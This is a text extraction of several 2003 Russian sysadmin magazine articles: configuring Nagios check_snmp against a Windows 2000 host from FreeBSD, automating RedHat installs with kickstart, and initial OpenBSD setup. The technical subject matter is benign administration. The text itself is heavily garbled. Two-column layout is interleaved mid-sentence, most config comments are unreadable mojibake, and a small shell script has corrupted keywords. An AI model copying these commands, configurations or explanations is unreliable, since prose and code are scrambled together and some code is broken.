администрирование
System contact infomation root@: tigrisha@sysadmins.ru наша FreeBSD-машина не будет принимать входящие
# Àäðåñ ëèöà, îòâåòñòâåííîãî çà ðàáîòó SNMP. Ìîæíî ïèñàòü
# ÷òî óãîäíî. SNMP-запросы. Для того чтобы создавать исходящие зап-
росы, его функциональность тоже не требуется. Опира-
System Location (Unknown): home
# Ãåîãðàôè÷åñêîå ìåñòîïîëîæåíèå ýòîé ìàøèíû. Ñíîâà ìîæíî ясь на эти умозаключения, сначала останавливаем, а за-
# ïèñàòü âñå, ÷òî ïðèäåò â ãîëîâó. тем и полностью отключаем демона snmpd. Для отключе-
Location to write log file /var/log/snmpd.log: ↵ ния нужно снять атрибут выполнения со скрипта /usr/local/
/var/log/snmpd.log etc/rc.d/snmpd.sh, запускающего демона после каждой
# Ñþäà äåìîí snmpd áóäåò çàïèñûâàòü ôàéëû æóðíàëîâ ñâîåé ðàáîòû
перезагрузки системы.
Location to write persistent information /var/net/snmp: ↵
/var/net/snmp # /usr/local/etc/rc.d/snmpd.sh stop
# À òóò ïîäñèñòåìà SNMP áóäåò õðàíèòü ñâîþ ðàáî÷óþ èíôîðìàöèþ # chmod ugo-x /usr/local/etc/rc.d/snmpd.sh

Убедившись в том, что скрипт configure завершил ра- Я надеюсь, что все помнят: подключаемые модули
боту без ошибок, начинаем сборку. Nagios находятся в пакете nagios-plugins. Я использовал
версию 1.3.0 – beta 3. Несмотря на то, что этот пакет у
# make вас, скорее всего, уже установлен, модуля check_snmp
в директории /usr/local/libexec/, скорее всего, нет. Такой
Затем, задав с помощью команды umask права на все поворот событий встречается довольно часто. А про-
вновь создаваемые файлы, проводим инсталляцию. изошло это потому, что на машину сначала был уста-
новлен nagios-plugins и только затем одна из версий
# umask 022 snmp. Скрипт configure, выполняемый перед компиляци-
# make install
ей модулей, пытаясь удовлетворить все зависимости,
Все выполняемые файлы программ из этого пакета ус- запрашиваемые пакетом, не нашел на вашей машине
танавливаются в /usr/local/bin/. Этот факт желательно за- ни ucd-snmp, ни net-snmp. Значит, нам нужно сконфигу-
помнить, потому что в будущем подобные знания нам очень рировать пакет nagios-plugins заново. После распаковки
пригодятся. По завершении установки в /usr/local/bin по- переходим в каталог с исходными текстами nagios-plugins
явятся следующие утилиты для работы с SNMP: и выполняем следующие команды:
 snmpbulkget  snmpnetstat
 snmpbulkwalk  snmpset # ./configure --prefix=/usr/local/nagios ↵
--with-nagios-user=nagios --with-nagios-grp=nagios
 snmpcheck  snmpstatus # gmake all
 snmpconf  snmptable # gmake install
 snmpdelta  snmptes
 snmpdf  snmptranslate Разобравшись с первоначальной настройкой, присту-
 snmpget  snmptrap пим к изучению того, как это работает. Для сбора данных
 snmpget.old  snmpusm модуль check_snmp использует программу snmpget. Да-
 snmpgetnext  snmpvacm вайте попробуем выполнить из командной строки провер-
 snmpinform  snmpwalk ку времени работы Windows-машины с момента после-
дней перезагрузки.
Не стоит отчаиваться, если процедура инсталляции
по каким-либо причинам у вас не сработает. Net-snmp, #/usr/local/nagios/libexec/check_snmp -H win2000rus ↵
-C QWEmn90 -o system.sysUpTime.0
как и ucd-snmp, можно установить из портов или паке- SNMP problem - No data recieved from host
тов, поставляющихся вместе с FreeBSD. Например, в ди- CMD: /usr/local/bin/snmpget -m ALL -v 1 ↵
-c QWEmn90 win2000rus system.sysUpTime.0
стрибутиве FreeBSD 4.7, на которой работает описыва-
емая система, обе вышеназванных программы можно Получив ошибку, не огорчаемся, а читаем статью даль-
получить с 4 диска, содержащего коллекцию пакетов. ше. Поняв механизмы действия модуля, мы сможем по-
Оба упомянутых пакета находятся внутри ветки Net. Я чинить его самостоятельно. Итак, давайте окунемся с го-
надеюсь, вы умеете самостоятельно устанавливать про- ловой в теорию функционирования модуля check_snmp.
граммы из портов или пакетов. Если брать программы При каждом запуске check_snmp создает дочерний про-
из этой коллекции, то мы можем стать обладателями цесс snmpget, которому передаются следующие парамет-
довольно свежих экземпляров net-snmp версии 5.0.3_2 ры запроса.
или ucd-snmp версии 4.2.5_2. Каким путем пойти, остав-
ляю полностью на ваше усмотрение. Все три способа -v 1
# Âåðñèÿ ïðîòîêîëà. Windows ïîääåðæèâàåò âåðñèè 1 è 2c.
установки проверены мною лично. Могу сказать, что они # Ëó÷øå èñïîëüçîâàòü 2ñ, ïîòîìó ÷òî âåðñèÿ 1 íåáåçîïàñíà.
работают нормально, и наступить на грабли можно толь-
–m ALL
ко при фатальном невезении. # Ïðèêàçûâàåì èñïîëüçîâàòü âñå èìåþùèåñÿ ôàéëû MIB
После инсталляции нужно провести некоторые дей-
–c QWEmn90
ствия, необходимые для более безопасной работы сер- # Èìÿ ñîîáùåñòâà, èñïîëüçóåìîå äëÿ äîñòóïà ê äàííûì.
вера мониторинга. В комплекте обоих вышеперечислен- # Ïîçâîëÿåò òîëüêî ÷òåíèå.
ных программ поставляется демон SNMP. Несмотря на win2000rus
все свои достоинства, этот демон нам не нужен, так как # Èìÿ èëè IP-àäðåñ ìàøèíû, êîòîðîé íóæíî îòïðàâèòü çàïðîñ.

№8(9), август 2003 21


администрирование
OID Найдя нужный фрагмент, заменяем его на вариант для
# Èäåíòèôèêàòîð îáúåêòà, â êîòîðîì íàõîäÿòñÿ èíòåðåñóþùèå
# íàñ äàííûå. своей версии пакета snmp.
Версия net-snmp:
В свою очередь, результаты работы snmpget обраба-
тываются check_snmp и передаются Nagios. Вот тут нас /* create the command line to execute */
command_line = ssprintf
поджидают две ловушки. Проблема первая состоит в (command_line,
том, что формат вызова snmpget зависит от того, из ка- "%s -v2c -m ALL -c %s %s %s",
"/usr/local/bin/snmpwalk",community, ↵
кого пакета производилась установка средств для рабо- server_address, oid);
ты с SNMP.
Рассмотрим различия на примере команды, которая дол- Версия ucd-snmp:
жна получить с удаленной машины время работы системы.
Версия net-snmp: /* create the command line to execute */
command_line = ssprintf
(command_line,
# /usr/local/bin/snmpget -v2c –m ALL ↵ "%s -m ALL -c %s -v2c %s %s",
–c QWEmn90 win2000rus system.sysUpTime.0 "/usr/local/bin/snmpwalk",community, ↵
server_address, oid);
Версия ucd-snmp:
Сохранившись, выходим и запускаем повторно ком-
# /usr/local/bin/snmpget –m ALL –c QWEmn90 ↵ пиляцию, а затем уже и инсталляцию.
-v2c win2000rus system.sysUpTime.0

Выполните обе команды и, в зависимости от версии # gmake all


# gmake install
SNMP-программ, полюбуйтесь на появившиеся ошибки.
Вторая проблема состоит в том, что snmpget упрямо не Теперь пришло время снова проверить работоспособ-
хочет работать с OID, созданными SNMP4W2K и ность модуля check_snmp. Для этого мы попытаемся по-
SNMP4NT. К примеру, попробуйте выполнить два разных лучить многократно упоминаемые ранее данные о загруз-
варианта команды, получающей с удаленной машины ке процессора Windows-машины. Заодно узнаем, насколь-
данные о загрузке процессора. Обратите внимание, OID ко правильно работает OID из коллекции SNMP4W2K:
для краткости записан в цифровом виде.
Версия net-snmp: #/usr/local/nagios/libexec/check_snmp -H win2000rus ↵
-C QWEmn90 -o .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
SNMP OK - INTEGER: 12
# /usr/local/bin/snmpget -v2c –m ALL ↵
–c QWEmn90 win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
Судя по полученному ответу, модуль наконец-то зара-
Версия ucd-snmp: ботал как положено. Загрузка процессора равна 12%, что,
в общем, очень даже неплохо.
# /usr/local/bin/snmpget –m ALL –c QWEmn90 ↵ Теперь приступим к настройке самого Nagios. Первым
-v2c win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
делом в файле checkcommands.cfg нам нужно определить
Казалось бы, вид ошибок, полученных в ответ на ко- команду check_snmp_oid, которую мы будем использовать
манды, должен повергнуть нас в жесточайшее разочаро- для сбора данных.
вание. Но не тут то было. Вместо snmpget мы станем ис-
пользовать программу snmpwalk, которая гораздо ста- define command{
command_name check_snmp_oid
бильнее работает с нестандартными OID. Итак, переде- command_line $USER1$/check_snmp -H $HOSTADDRESS$ ↵
лываем наши команды и снова радуемся жизни. -o $ARG1$ -C $ARG2$ -w $ARG3$ -c $ARG4$ ↵
-u $ARG5$ -l ""
Версия net-snmp: }

# /usr/local/bin/snmpwalk -v2c –m ALL ↵ Давайте разберемся со значением макросов, переда-


–c QWEmn90 win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
ваемых команде check_snmp.
Версия ucd-snmp:  $USER1$ – путь к директории /usr/local/nagios/libexec/;
 $HOSTADDRESS$ – адрес проверяемой машины;
# /usr/local/bin/snmpwalk –m ALL –c QWEmn90 ↵
-v2c win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
 $ARG1$ – OID, данные которого мы будем читать;
 $ARG2$ – имя сообщества SNMP;
Разобравшись с этими мелкими проблемами, перехо-  $ARG3$ – порог, при достижении которого нужно ге-
дим к работе по исправлению модуля check_snmp. Идем в нерировать предупреждение;
директорию plugins и открываем на редактирование файл  $ARG4$ – порог критического состояния;
исходного кода check_snmp.c. Ищем в нем вот такой фраг-  $ARG5$ – данные, которые необходимо добавить к вы-
мент текста, отвечающий за вызов команды snmp_get: водимому результату. Например, для удобства можно
к результатам запросов о свободной памяти дописы-
/* create the command line to execute */ вать строку «bytes».
command_line = ssprintf
(command_line,
"%s -m ALL -v 1 %s %s %s", Обратите внимание на опцию -l "". Она позволяет за-
PATH_TO_SNMPGET, server_address, community, oid);
менить строку, добавляющую в результате статус snmp-

22
администрирование
запроса. Обычно статус выглядит так «SNMP OK». Мне normal_check_interval 1
retry_check_interval 1
эта строка показалась лишней, поэтому я заменяю ее пу- contact_groups win-admins
стотой. notification_interval 120
notification_period 24x7
В дальнейшем я предполагаю, что вы, прочитав пер- notification_options c,r
вую часть статьи, внесли все необходимые для работы с # Îáðàòèòå âíèìàíèå íà òî, ÷òî ïîðîãè ïðåäóïðåæäåíèÿ è
# êðèòè÷åñêîãî ñîñòîÿíèÿ äëÿ äàííîãî ñåðâèñà ñìûñëà íå
машиной win2000rus данные в файлы hosts.cfg, # èìåþò, ïîýòîìó îòêëþ÷åíû ñ ïîìîøüþ ïóñòûõ êàâû÷åê “”.
hostgroups.cfg, поэтому говорить о них мы не будем. Ра- # Äîïèñûâàòü â ðåçóëüòàò òîæå íè÷åãî íå áóäåì, à çíà÷èò,
# ñíîâà íóæíî èñïîëüçîâàòü “”
зобравшись с определением команд, переходим к описа- check_command check_snmp_oid! ↵
нию тестируемых сервисов. .1.3.6.1.2.1.1.3!QWEmn90!""!""!""
}
# Ñåðâèñ, ïîêàçûâàþùèé äàííûå î ïðîöåíòå èñïîëüçîâàíèÿ # Ïðîöåíò èñïîëüçîâàíèÿ âèðòóàëüíîé ïàìÿòè
# ôàéëà ïîäêà÷êè define service{
define service{ use generic-service
use generic-service host_name win2000rus
host_name win2000rus service_description SNMP Virtual Memory usage
service_description SNMP Page File Usage is_volatile 0
is_volatile 0 check_period 24x7
check_period 24x7 max_check_attempts 3
max_check_attempts 3 normal_check_interval 1
normal_check_interval 1 retry_check_interval 1
retry_check_interval 1 contact_groups win-admins
contact_groups win-admins notification_interval 120
notification_interval 120 notification_period 24x7
notification_period 24x7 notification_options c,r
notification_options c,r check_command
# Ïîðîã ïðåäóïðåæäåíèÿ óñòàíàâëèâàåì íà 80%, à êðèòè÷åñêîå # Ïîðîã ïðåäóïðåæäåíèÿ óñòàíàâëèâàåì
# ñîñòîÿíèå íà 90%. # íà äîñòèæåíèè 80% çàïîëíåíèÿ,
# Îáðàòèòå âíèìàíèå íà çíàê “%”, ïåðåäàâàåìûé â ïîñëåäíåì # ñîîòâåòñòâóþùèõ 25 479 7360 áàéòàì, è êðèòè÷åñêîå ñîñòîÿíèå,
# àðãóìåíòå. Ìû ïðèñîåäèíÿåì ýòîò çíàê ê ðåçóëüòàòàì, # íàñòóïàþùåå ïðè çàïîëíåíèè 90% ïàìÿòè, óñòàíàâëèâàåì
# âîçâðàùàåìûì ïîñëå âûïîëíåíèÿ çàïðîñà. # íà îòìåòêó â 286 647 030 áàéò.
check_command check_snmp_oid! ↵ # Â ðåçóëüòàò, âîçâðàùàåìûé ìîäóëåì, äîáàâëÿåì ñòðîêó “bytes”
.1.3.6.1.4.1.311.1.1.3.1.1.6.1.3!QWEmn90!80!90!% check_snmp_oid!.1.3.6.1.4.1.311.1.1.3.1.1.1.3.0! ↵
} QWEmn90!254797360!286647030!bytes
}
# Äàííûå î çàãðóçêå ïðîöåññîðà, ñîáèðàåìûå
# ÷åðåç SNMP4W2K # Ñêîëüêî ìåñòà èçðàñõîäîâàíî íà äèñêå C:\
define service{ define service{
use generic-service use generic-service
host_name win2000rus host_name win2000rus
service_description SNMP CPU Load service_description SNMP Space used on disk C:\
is_volatile 0 is_volatile 0
check_period 24x7 check_period 24x7
max_check_attempts 3 max_check_attempts 3
normal_check_interval 1 normal_check_interval 1
retry_check_interval 1 retry_check_interval 1
contact_groups win-admins contact_groups win-admins
notification_interval 120 notification_interval 120
notification_period 24x7 notification_period 24x7
notification_options c,r notification_options c,r
check_command check_snmp_oid! ↵ # Ïîðîã ïðåäóïðåæäåíèÿ íàñòóïàåò ïðè ðàñõîäå 80% ïðîñòðàíñòâà
.1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1!QWEmn90!80!90!% # äèñêà, ñîîòâåòñòâåííî, 835367 áëîêà. Êðèòè÷åñêîå ñîñòîÿíèå
} # íàñòóïàåò ïðè çàïîëíåíèè 90% ïðîñòðàíñòâà. Äëÿ ìîåé ìàøèíû
# ýòî 938788 áëîêîâ.  îò÷åò, âîçâðàùàåìûé ìîäóëåì,
# Äàííûå î çàãðóçêå ïðîöåññîðà, ñîáèðàåìûå ÷åðåç # äîáàâëÿåì ñòðîêó “blocks”
# ñòàíäàðòíóþ âåòêó .iso.org.dod.internet.mgmt. ↵ check_command check_snmp_oid! ↵
# mib-2.host.hrDevice.hrProcessorTable.hrProcessorEntry. ↵ .1.3.6.1.2.1.25.2.3.1.6.2!QWEmn90!835367!938788!blocks
# hrProcessorLoad }
define service{
use generic-service Теперь, когда с настройкой закончено, заставляем
host_name win2000rus
service_description SNMP hrProcessorLoad Nagios загрузить обновленные файлы конфигурации.
is_volatile 0
check_period 24x7
max_check_attempts 3 # /usr/local/etc/rc.d/nagios
normal_check_interval 1
retry_check_interval 1
contact_groups win-admins Если ошибок не возникло, то немножко радуемся и при-
notification_interval 120 ступаем к созданию критических ситуаций на Windows-
notification_period 24x7
notification_options c,r машине. Проведя полное стрессовое тестирование сис-
check_command check_snmp_oid! ↵ темы, понимаем, что теперь ни один сбой системы не за-
.1.3.6.1.2.1.25.3.3.1.2.2!QWEmn90!80!90!%
} станет нас врасплох. В заключение статьи хотелось бы
сказать, что SNMP4W2K позволяет следить за гораздо
# Âðåìÿ ðàáîòû ñèñòåìû ñ ìîìåíòà
# ïîñëåäíåé ïåðåçàãðóçêè большим набором показателей здоровья сервера и служб,
define service{ работающих под управлением Windows, чем я смог опи-
use generic-service
host_name win2000rus сать в этой статье. Я думаю, после такого продолжитель-
service_description SNMP Up Time ного, но, надеюсь, увлекательного обучения каждый из
is_volatile 0
check_period 24x7 вас сможет воспользоваться всей мощью, предоставляе-
max_check_attempts 3 мой SNMP.

№8(9), август 2003 23


администрирование

ПИНГВИН
С ОДНОГО ПИНКА

Иногда возникает ситуация, когда


необходимо установить дистрибутив
Linux сразу на несколько компьютеров
или часто его переустанавливать.
При этом процесс установки в конце
концов начинает надоедать, и хочется
как-то сократить или автоматизировать
его. Все проще простого: в RedHat,
начиная с версии 5.0, имеется
технология, позволяющая установить
его буквально за пару кликов, при этом
все необходимые переменные будут
выставлены, диск разбит на указанные
разделы и установлены выбранные
пакеты.

СЕРГЕЙ ЯРЕМЧУК
24
администрирование
Все началось с того, что при очередной установке RedHat 9 #part /mnt/win_d --fstype vfat --noformat --onpart hda7
#part /usr/local --fstype ext3 --noformat --onpart hda6
я не обратил внимание на сообщение (см. скриншот), в ко- #part /mnt/other --fstype reiserfs --noformat --onpart hda9
тором были указаны файлы протокола установки и некий #part /home --fstype ext3 --noformat --onpart hda10
#part swap --onpart hda5
файл kickstart.
%packages
@ Administration Tools
@ GNOME Desktop Environment
@ Graphical Internet
@ Graphics
@ Russian Support
@ Sound and Video
@ System Tools
@ Ukrainian Support
@ X Window System
-kernel-pcmcia-cs
galeon
-gtkam
ethereal-gnome
mc
xmms-skins
fonts-KOI8-R-75dpi

Оказалось, что в этом файле расписаны ответы букваль-


но на все вопросы, на которые пришлось отвечать во время
инсталляции «Красной Шапки». Как видите, здесь можно
найти все: системные языки, клавиатурную раскладку, кон-
Если с первым файлом /root/install.log все ясно с пер- фигурацию мыши, графическую подсистему, введенный па-
вого взгляда, в нем содержится список всех установлен- роль root. Дополнительно закомментированы параметры раз-
ных пакетов (как не убирал лишнее, все равно оказалось бивки жесткого диска, забегая немного вперед, скажу, что
много хлама) и ошибки при установке некоторых из этих это сделано специально: при разбивке диска система оста-
пакетов. Приблизительно в таком виде: новится и позволит это сделать вручную. И напоследок ука-
заны сначала все группы приложений, которые можно уста-
Óñòàíîâêà 887 ïàêåòîâ новить, а затем устанавливаемые пакеты, не входящие в
Óñòàíîâêà glibc-common-2.3.2-11.9. выбранные группы или удаленные из них. Как видите, что-
…. бы добавить нужный пакет, достаточно прописать его в файл
Óñòàíîâêà hwdata-0.75-1.
Ôàéë OMF [/usr/local/share/omf/file-roller/file-roller-C.omf] ↵ без номера версии, а убрать можно, добавив знак минус «-»
íå ÿâëÿåòñÿ äîïóñòèìûì ñ òî÷êè çðåíèÿ ScrollKeeper-OMF DTD: ↵ перед пакетом (список всех пакетов можно найти в /RedHat/
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
Íåâîçìîæíî çàðåãèñòðèðîâàòü ↵ base/comps.xml). Наличие такого файла сразу наводит на
/usr/local/share/omf/file-roller/file-roller-C.omf некоторые мысли, правильность которых я и пошел прове-
Óñòàíîâêà redhat-logos-1.1.12-1
рять на сайт компании RedHat. И действительно, по адресу
И так все 887 пакетов, которые установлены, поэтому http://www.redhat.com/docs/ среди прочих документов на-
после инсталляции можно спокойно просмотреть, что там шлись и искомые: RedHat Linux KickStart HOWTO, датиро-
все-таки наустанавливали и после этого уже не удивлять- ванный аж 1999 годом (самое интересное, что я много
ся, куда все свободное место делось. А вот второй файл раз проходил мимо него) и RedHat Customization Guide.
/root/anaconda-ks.cfg меня удивил и озадачил одновремен- После прочтения которых очень расстроился. Оказалось,
но. Посмотрите сами, что там нашлось: что в «Шапках», начиная с 5 версии, имеется система,
позволяющая быстро установить большое количество
# Kickstart file automatically generated by anaconda. идентичных Linux на основании заранее определенной
install конфигурации, занесенной в файл. При этом, кроме ос-
lang ru_RU.UTF-8 новных предопределенных действий, есть возможность
langsupport --default ru_RU.UTF-8 ru_RU.UTF-8 ru_UA.UTF-8 ↵
uk_UA.UTF-8 выполнить любое количество дополнительных пользова-
keyboard ru_win тельских команд (например, соединиться с Интернетом,
mouse genericwheelps/2 --device psaux
xconfig --card "RIVA128" --videoram 4096 --hsync 30-70 ↵ скачать программу и установить ее или добавить запись
--vsync 50-120 --resolution в конфигурационный файл). И вообще, как вы поняли, при
1024x768 --depth 16 --startxonboot --defaultdesktop gnome
network --device eth0 --bootproto static --ip 192.168.0.4 ↵ частой переустановке или необходимости устанавливать
--netmask 255.255.255.0 --hostname grinder Linux на несколько компьютеров с одинаковой конфигу-
rootpw --iscrypted $1(zf6ola?s$lNcDbUeKI9l&&AKJ06x4S0
firewall --medium --trust=eth0 рацией это, как говорится, «то, что доктор прописал», луч-
authconfig --enableshadow --enablemd5 --enablesmbauth ↵ шего и придумать нельзя.
--smbservers grinder --smbworkgroup Gljuk
timezone Europe/Kiev Как же пользоваться этим файлом? А очень просто:
bootloader --location=mbr сначала переименовываем файл anaconda-ks.cfg в ks.cfg
# The following is the partition information you requested
# Note that any partitions you deleted are not expressed (имя, разыскиваемое по умолчанию) и записываем его
# here so unless you clear all partitions first, this is на дискету. Теперь необходимо загрузиться как обычно и
# not guaranteed to work
#clearpart --linux при появлении приглашения ввести:
#part / --fstype ext3 --onpart hda11
#part /mnt/win_c --fstype vfat --noformat --onpart hda2
#part /mnt/win_e --fstype vfat --noformat --onpart hda8 boot: linux ks=floppy

№8(9), август 2003 25


администрирование
После этого останется только диски менять по запросу,
остальное система настроит сама, в том числе, если рас-
комментированы параметры настройки жесткого диска, то
и диск автоматически разобьет. Можно при этом заранее
заготовить несколько конфигурационных файлов с разны-
ми именами на все случаи жизни и необязательно разме-
щать их на дискете, но в этом случае придется указывать
полный путь к нужному файлу и используемое имя.

boot: linux ks=hd:fd0/anaconda-ks.cfg

Интересно, что если просто ввести в строке приглашения:

boot: linux ks

То система будет пытаться произвести инсталляцию при


помощи NFS, используя BOOTP и DHCP. То есть попросту
говоря, при постоянной необходимости множественной ус-
тановки RedHat можно не заготавливать кучи CD-дисков,
а создать в сети сервер NFS (Network File System) и брать
все установочные файлы оттуда, находясь вообще неиз-
вестно где, и даже диски при этом не придется менять.
Но это еще не все. Допустим, необходимо установить
дистрибутив на совсем другой компьютер и не хочется
долго возиться, а править файл вручную лень. И не надо
этого делать, так как в RedHat имеется утилита, которая
в удобной графической форме позволяет выставить все
нужные параметры и затем создать нужный файл. Вызы-
вается она очень просто: в командной строке набираем:

redhat-config-kickstart

и вслед за этим появляется окно. Как вы видите на скрин-


шотах, при помощи этой утилиты можно указать все пара-
метры, которые могут встретиться при инсталляции вплоть
до задания размеров разделов и файловых систем на них
(в том числе и RAID-массивов), настройки системы Х-Window
и выбора пакетов для установки, в конце можно приписать
команды, которые система должна выполнить до и после
установки. После выбора всех пунктов настройки сохраня-
ются в указанный файл.

26
администрирование
Теперь восстановление системы (данные, я надеюсь,
вы и так бэкапите) после сбоев может происходить двумя
способами. Первый – архивация всей системы, что требу-
ет наличия лишнего свободного места как на жестком дис-
ке, так и вдоволь болванок и мощного процессора, иначе
процедура может заметно затянуться.
Второй способ – восстановление при помощи kickstart.
При этом учитывая, что все вновь устанавливаемые про-
граммы находятся в /usr/local, а настройки пользователя в
/home (которые желательно размещать на отдельном раз-
деле жесткого диска), их бэкапим как обычно, а чтобы не
настраивать заново всю систему, то так же сохраняем и
каталог /etc. Остальное переустанавливаем при помощи
kickstart, а затем поверх распаковываем архивы с /usr/local,
/home и /etc (может еще и /var в зависимости от назначе-
ния компьютера), если, конечно, их затронули разрушения.
После этого система будет работать как ни в чем не
бывало. Для форматирования достаточно будет указать
только корневой каталог (если только не повреждены дру-
гие), а остальные разделы примонтируются автоматичес-
ки, т.к. данные уже имеются в старом /etc/fstab. При этом
архивы можно положить в заранее определенное место (и
создавать их вообще автоматически при помощи cron,
предположим, раз в неделю), а в конец kickstart-файла до-
бавить скриптик, реализующий их последующую распаков-
ку. А чтобы файл держать всегда в боевой готовности и не
убирать затем лишнего – при каждом удалении ненужной
программы, входящей в комплект дистрибутива, добавлять
туда соответствующую строчку. Это можно опять же воз-
ложить на плечи скрипта (ручная работа – это вообще не
стиль для Unix).
Например, такого:

#! /bin/sh
for arg in $*; do
rpm -å $1 || åõit $?
echo "- $1 " >> /root/anaconda-ks.cfg && echo ↵
"Ôàéë $1 óñïåøíî óäàëåí, èíôîðìàöèÿ çàíåñåíà ↵
â /root/anaconda-ks.cfg "
shift
done

После делаем его исполняемым (chmod +x), называем


попонятнее: rpm_del (для новичков вообще рекомендую
сделать себе алиасов попонятнее, наподобие FreeBSD, то
есть rpm_del = «rpm -e», rpm_install = «rpm -Uvh» и т. д.) и
перемещаем в каталог, где его найдет переменная $PATH
(/usr/local/bin, например). Теперь из-под root вводим:

# rpm_del mozilla xemacs docbook-style-xsl

После выполнения всех этих пакетов уже не будет, и


информация об их ненужности в дальнейшем занесется
в файл. Теперь, переустановив систему, не придется уда-
лять их повторно. Можно сделать аналогичный скрипт и
на установку, но я обычно только удаляю лишнее, при-
шедшее с системой, а если что-то срочно понадобилось,
то, как правило, беру из Интернета версию посвежей.
Вот в принципе и все, что хотел рассказать. Как види-
те, инструмент довольно удобный и раскрывает широкие
возможности, а главное, экономит драгоценное время,
которого почему-то вечно не хватает.

№8(9), август 2003 27


администрирование

ПЕРВЫЕ ШАГИ

ДЕНИС НАЗАРОВ

28
администрирование
Продолжим наше знакомство с OpenBSD (начало см. в перечитывает файл профиля (например, /root/.profile
июньском номере журнала). Мы остановились на успеш- или /root/.bash_profile и т. д.).
ной установке системы и предложением перезагрузить-
ся, что, собственно говоря, и выполняем. Итак, первая заг- Пароль суперпользователя
рузка уже по традиции для BSD-систем выполняется на Я думаю, не стоит описывать в этой статье, как правиль-
синем фоне, и вы можете видеть, как ядро системы опра- но выбрать пароль, слишком много уже подобных статей,
шивает все устройства, которые находит. Отлично, ядро просто скажу, что пароль As52DjZ921cOx считается нор-
загрузилось, дальше пошел init системы (процесс, кото- мальным для root. Изменить пароль можно уже знакомой
рый запускает все остальные процессы). Мы видим, как командой:
поднимается сетевой интерфейс (в моем случае le1), до-
бавляется маршрут по умолчанию (в большинстве случа- /usr/sbin/passwd
ев надо прописать его в /etc/mygate, я расскажу об этом
файле при конфигурировании сети), запускаются демо- Маленькое дополнение: привыкайте сразу использо-
ны sendmail inetd и sshd. Торжественный момент... вать полные пути к критически важным командам. Исполь-
зуйте, например, «/usr/sbin/su –», а не просто «su –», по-
рой такие мелочи бывают очень важны. Об этом в следу-
ющих статьях.
Волшебная дверь в систему, которая тщательно вы- Проверьте переменную окружения PATH (echo $PATH) –
бирает себе друзей, но если вы станете ее другом – она в ней ни в коем случае не должно быть относительных
сделает все для вас. Твердо и уверенно вводим root, за- путей (начинающихся с «./») и в дальнейшем PATH супер-
тем пароль, который мы указали при инсталляции. пользователя ни за что не должна содержать путь теку-
Первое, о чем стоит позаботиться – проверка наличия щей директории «.».
патчей (исправлений) для вашей системы. Конечно, шанс,
что критические исправления присутствуют, очень мал, Системное время
однако он есть. Итак, нам прямая дорога на http:// Системное время устанавливается с помощью date (1). Если
www.openbsd.org/errata.html. Веб-страница содержит ли- требуется поменять временной пояс системы, то это дела-
стинги всех патчей, доступных для вашей версии систе- ется пересозданием символической ссылки /etc/localtime на
мы и описания к ним. И вообще в дальнейшем, если у вас правильный пояс в директории /usr/share/zoneinfo.
не –CURRENT-система с постоянным обновлением – ре- Примеры установки времени:
комендую регулярно навещать эту страницу. Установить время и дату 22 июля 2003, 18:25 PM:
Зайти как пользователь root вы можете в систему с кон-
соли и используя ssh (1) по сети. Доступ пользователя root # date 200306221825
в систему из сети сложно назвать простой глупостью, это
огромная глупость! Он разрешен по умолчанию лишь для Изменить часовой пояс:
тех случаев, когда система ставится удаленно (как раз все
мои случаи) и других пользователей в системе просто нет. # ln -fs /usr/share/zoneinfo/Asia/Bishkek /etc/localtime
Успешно зайдя в систему под root, вы увидите сообщение
«Don’t login as root, use su» – даже тут система подсказы-
вает, как надо обращаться с ней. Еще одно маленькое НО. Системные демоны
Прежде чем запрещать вход пользователя root по сети, Файл /etc/rc.conf отвечает за процесс загрузки системы. В
обязательно добавьте простого пользователя и занесите нем содержатся опции для разных загружаемых демонов
его в группу «wheel», иначе при удаленном администриро- (например, sshd и sendmail). Администратор должен сде-
вании вы потеряете все шансы вернуть права суперполь- лать копию этого файла в /etc/rc.conf.local и уже в нем вно-
зователя. Кстати, при adduser указание группы «wheel» бес- сить все исправления, которые нужны. Но я так никогда не
полезно! Вручную отредактируйте файл /etc/group, чтобы делаю. Просто привык работать напрямую с /etc/rc.conf.
он выглядел следующим образом: Используя команду hostname (1), вы можете проверить
имя хоста в сети. Можно изменить имя, используя эту же
wheel:*:0:root,myusername команду hostname (1) или изменив имя в файле /etc/
myname и перезапустив систему.
Теперь смело устанавливайте опцию:
Сетевая конфигурация
PermitRootLogin no Самое первое, что надо сделать – это набрать команду
«ifconfig –a» и посмотреть на все сетевые интерфейсы, най-
в файле /etc/ssh/sshd_config и перезапускайте демон денные и отконфигурированные системой. Исправить на-
sshd. Зайдя в систему под добавленным пользовате- стройки можно, отредактировав файл /etc/hostname.interface
лем, вы сможете использовать команды su (1) и sudo (8) (где interface – имя сетевого интерфейса, например, le1) или
для получения привилегий суперпользователя. Исполь- использовать ifconfig (8) для исправления настроек. Прочи-
зуя команду «su», система просто меняет ваш UID на тав страницу мануала hostname.if (5), у вас не останется ни-
0, а используя команду «su –», система дополнительно каких вопросов по формату файла.

№8(9), август 2003 29


администрирование
Если вы собираетесь маршрутизировать пакеты меж-
ду интерфейсами, добавьте опцию:

net.inet.ip.forwarding=1

или

net.inet6.ip.forwarding=1

в файл /etc/sysctl.conf или пересоберите ядро с опцией


GATEWAY. Пакеты не перенаправляются по умолчанию в
соответствии требованиям RFC.

BIND Name Server (DNS)


Если вы используете DNS, то настройки хранятся в фай-
ле /etc/resolv.conf. Он может выглядеть примерно так:

# cat /etc/resolv.conf
lookup file bind
nameserver 127.0.0.1
nameserver 172.16.13.35

Чтобы использовать локальный кэширующий сервер


Вот пример текущего листинга ifconfig –a одного из имен (как раз мой случай) первая строчка nameserver долж-
моих OpenBSD –CURRENT-боксов с GENERIC-ядром. на выглядеть именно так: «nameserver 127.0.0.1». Вы также
Для конфигурирования multicast routing смотрите стра- должны выставить named_flags в файле /etc/rc.conf.local, в
ницу мануала netstat (8) и страницу dhcp (8) для интер- моем случае /etc/rc.conf и создать файл named.boot (в вер-
фейсов DHCP. сии OpenBSD 3.3 используется BIND версии 9.x и файл на-
Проверьте таблицы роутинга командой netstat –rn. зывается named.conf) в соответствии со страницей мануала
Вывод будет примерно таким: named (8). Если же преобразование имен в IP-адреса проис-
ходит слишком долго, проверьте, что демон named запущен.

RPC-based сетевые сервисы


Некоторые сетевые сервисы ориентированы на использо-
